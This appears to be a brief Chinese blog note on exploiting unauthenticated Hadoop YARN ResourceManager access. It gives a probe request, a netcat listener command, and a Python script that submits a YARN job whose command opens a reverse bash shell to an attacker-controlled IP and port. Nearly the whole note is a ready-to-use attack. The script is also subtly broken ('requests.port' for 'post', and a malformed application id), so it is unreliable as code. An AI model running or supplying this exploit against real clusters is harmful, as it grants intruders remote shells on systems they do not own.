【笔记】Hadoop未授权访问

前言

Hadoop未授权访问

poc

  • 查看页面是否正常显示,而不是报404
request
1
GET http://127.0.0.1:80/cluster/apps

建立监听

1
nc -lvp <port>

exp

http://127.0.0.1:80:目标Hadoop的Web页面的URL,可以是域名也可以是IP和端口号
<ip>:攻击者IP地址
<port>:攻击者端口号

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests

target = 'http://127.0.0.1:80'
lhost = '<ip>'
lport = '<port>'

resp = requests.post(f'{target}/ws/v1/cluster/apps/new-application')
requests.port(f'{target}/ws/v1/cluster/apps', json={
'application-id': resp.json(),
'application-name': 'get-shell',
'am-container-spec': {
'commands': {
'command': f'/bin/bash -i >& /dev/tcp/{lhost}/{lport} 0>&1',
},
},
'application-type': 'YARN',
})

完成

参考文献

哔哩哔哩——xiaodisec